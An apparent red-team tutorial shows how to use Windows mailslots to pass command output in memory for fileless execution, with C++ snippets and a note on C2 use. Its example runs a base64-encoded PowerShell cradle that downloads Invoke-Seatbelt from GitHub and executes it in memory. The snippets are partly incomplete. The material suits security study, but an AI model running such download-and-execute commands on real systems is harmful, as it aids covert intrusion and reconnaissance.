Fileless Execution With Mailslots
Introduction
Mailslots is a mechanism for interprocess communication in windows. That is: transferring data between different processes on the same machine or across a local network or domain environment. Although it's not widely used anymore, they still have some properties that make them attractive for use during red team engagements as they can be implemented in conjunction with techniques such as .NET reflective assembly for a fully in-memory execution.
Mailslots are implemented in windows as a psuedofile that only exists in memory, this "file" can be written to and read from using Windows' file handling API's (eg: CreateFile, ReadFile etc..)
As an added bonus, the Mailslot and all of its contents are deleted from memory as soon as its handle is closed. The names of Mailslots are not case sensitive and multiple processes can gain a handle to read and write from a Mailslot given that they know its name.
Pros
They're based on a temporary pseudofile
They exist only in memory (fileless)
Any process can store data in and read data from a mailslot Given its name.
They can be written to from different systems on the same network/domain.
Cons
No duplex communication, only one way.
No confirmation or error correction for the datagrams it sends.
Data is stored and communicated in plaintext unless encrypted before storage.
Any process can store data in/read data from a mailslot given its name.
They have a 424-Bytes size limit
Implementation
Mailslots can be implemented in code by using the windows API calls associated with them. First, Let's create a small method to execute a system command and return its output. This will be used to send the output to the mailslot for later retrieval:
string ExecCommand(string cmd) {
char buffer[127];
FILE* pipe = _popen(cmd.c_str(), "r");
while (fgets(buffer, sizeof(buffer), pipe) != nullptr) {
output += buffer;
}
output += '\0';
_pclose(pipe);
return output;
}A mailslot can then be created using the CreateMailslot() method:
HANDLE MS_handle = CreateMailslot(MS_name, 0, 0, NULL);
if (MS_handle == INVALID_HANDLE_VALUE) { printf("[-] MailSlot creation failed. (ERROR: %d)", GetLastError()); return -1; }A handle is now created to the mailslot which will be used later.
Since mailslots are pseudo-files, they can still be written to and read from using Windows' file handling API's. To do so, a file handle is created using the CreateFile() method:
HANDLE file_handle = CreateFile(MS_name, GENERIC_WRITE, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (file_handle == INVALID_HANDLE_VALUE) { printf("[-] File Creation Failed. %d", GetLastError()); return -1; }After that, the file handle can be used to write content to it:
//Write the command output to a mailslot
result = WriteFile(file_handle, cmd_output.c_str(), cmd_output.size(), &bytes_written, NULL);
if (!result) { printf("[-] MailSlot Write failed. %d", GetLastError()); return -1; }Now that we know that the output of our command is sent to the mailslot, reading it follows similar steps. But first, we need to check if the mailslot has any messages, and to retrieve the size of the next message in the queue so we could allocate memory for it later.
This is achieved using the GetMailslotInfo() method:
result = GetMailslotInfo(MS_handle, 0, &msg_size, 0, 0);
if (!result) { printf("[-] GetInfo failed. %d", GetLastError());}
else if (msg_size != (DWORD)MAILSLOT_NO_MESSAGE) {
printf("[+] Message Found! (Size: %d)\n", msg_size);
}Of course in a real-life implementation, such as in the case of a C2, a more periodic way to check messages would wrap this method call, such as checking for messages after each sleep cycle or even hooking it to an event handler to act upon receiving a new message.
Now that we know that there's a new message and we know the size for it, we can go ahead and allocate some memory for it, read the mailslot contents into that memory buffer, then retrieve the result:
char* buff = (char*)malloc(msg_size);
result = ReadFile(MS_handle, buff, msg_size, &bytes_read, 0);
if (!result) { printf("[-] Read Failed. %d", GetLastError()); return(-1); }
printf("%s", buff);To demonstrate the technique, the method ExecCommand() is called to execute Seatbelt in-memory and pass its output to the mailslot. The output is then retrieved and displayed:
int main() {
//powershell - c iex(New - Object Net.WebClient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/PowerSharpPack/refs/heads/master/PowerSharpBinaries/Invoke-Seatbelt.ps1'); invoke - seatbelt;
cmd_output = ExecCommand("powershell -enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAHMAdAByAGkAbgBnACgAJwBoAHQAdABwAHMAOgAvAC8AcgBhAHcALgBnAGkAdABoAHUAYgB1AHMAZQByAGMAbwBuAHQAZQBuAHQALgBjAG8AbQAvAFMAMwBjAHUAcgAzAFQAaAAxAHMAUwBoADEAdAAvAFAAbwB3AGUAcgBTAGgAYQByAHAAUABhAGMAawAvAHIAZQBmAHMALwBoAGUAYQBkAHMALwBtAGEAcwB0AGUAcgAvAFAAbwB3AGUAcgBTAGgAYQByAHAAQgBpAG4AYQByAGkAZQBzAC8ASQBuAHYAbwBrAGUALQBTAGUAYQB0AGIAZQBsAHQALgBwAHMAMQAnACkAOwAgAEkAbgB2AG8AawBlAC0AUwBlAGEAdABiAGUAbAB0AA==");
Full code example can be found in the Github repo.
Last updated